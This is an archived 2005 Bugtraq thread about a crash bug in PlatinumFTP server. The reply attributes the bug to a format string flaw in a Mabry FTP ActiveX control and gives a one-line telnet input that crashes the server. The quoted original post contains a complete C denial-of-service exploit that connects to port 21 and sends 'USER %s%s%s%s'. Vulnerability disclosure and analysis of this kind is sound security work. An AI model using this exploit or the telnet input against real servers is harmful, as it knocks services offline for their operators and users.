lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <003601c52908$2ce3a200$1e00a8c0@eniac> Date: Mon, 14 Mar 2005 21:39:13 -0500 From: "Gary H. Jones II" <gary@...ntblanksecurity.com> To: <bugtraq@...urityfocus.com> Subject: Re: PlantinumFTP server <= 1.0.18 Remote DOS exploit I replied back to ports original advisory about this on another mailing list. The real issue here is a format string vulnerability. That software uses an FTP server ActiveX control made by Mabry Software. Any ftp server that uses this ActiveX control is likely vulnerable. The ActiveX control is the cause of these bugs, not the PlatinumFTP software itself. When I took a look at the software, I noticed it was written in VB5, finding a format string in a VB program would be a *very* rare find. Knowing that, I figured there would be a 3rd party control within the software that was written in C++. I ran it through a debugger, passed a few %s and watched it crash. The title of the error message is "Mabry Socket Window: PlatinumFTPserverEngine.exe - Application Error", this is what lead to the discovery of the real issue. I downloaded the latest sample/demo of this ActiveX, and it is still vulnerable when you run VBSampleOCX.exe. Available here http://www.mabry.com/ftpserv/index.htm. There has been an advisory released already for this ActiveX control. http://secunia.com/advisories/10608/ I think this DoS "exploit" is a bit overkill, an attacker can telnet to the vulnerable ftp daemon, type "user %s%s%s%s" and press enter for the same effect. Gary H. Jones II ----- Original Message ----- From: "Exoduks" <exoduks@...il.com> To: <bugtraq@...urityfocus.com> Sent: Monday, March 14, 2005 7:47 AM Subject: PlantinumFTP server <= 1.0.18 Remote DOS exploit Here is simple exploit for PlantinumFTP server DOS bug. /* * PlantinumFTP server <= 1.0.18 Remote DOS exploit * ------------------------------------------------- * PlantinumFTP server exploit for Remote Denial of Service bug * in PlantinumFTP founded by ports. * * Coded by Exoduks - exoduks[at]gmail.com * HackGen Team - www.hackgen.org * * Compile: gcc -o pFTP_dos pFTP_dos.c * */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #define PORT 21 int main(int argc, char **argv) { char buffer[50]; char *host_ip; int mysock; struct sockaddr_in name; struct hostent *myhost; printf("\n PlantinumFTP server <= 1.0.18 Remote DOS exploit\n"); printf(" -------------------------------------------------\n"); printf(" Coded by Exoduks - exoduks[at]gmail.com\n"); printf(" HackGen Team - www.hackgen.org\n"); printf(" -------------------------------------------------\n"); printf(" [+] Creating socket !\n"); mysock = socket(PF_INET, SOCK_STREAM, 0); if (mysock == -1) { printf("[-] Socket error !\n"); return 1; } host_ip = argv[1]; if (host_ip == NULL) { printf(" [-] Host error ! - Usage: %s <ip/host> !\n\n", argv[0]); return 1; } myhost = gethostbyname(host_ip); name.sin_family = AF_INET; name.sin_addr = *((struct in_addr*) myhost->h_addr); name.sin_port = htons(PORT); printf(" [+] Connecting to target on port %d!\n", PORT); if (connect (mysock, (struct sockaddr*)&name, sizeof(struct sockaddr_in)) == -1) { printf(" [-] Connection error !\n"); return 2; } printf(" [+] Sending exploit !\n"); sprintf(buffer, "%s", "USER %s%s%s%s\r\n"); write(mysock, buffer, strlen(buffer)); printf(" [+] Exploit sent !\n\n"); close(mysock); return 0; }
Powered by blists - more mailing lists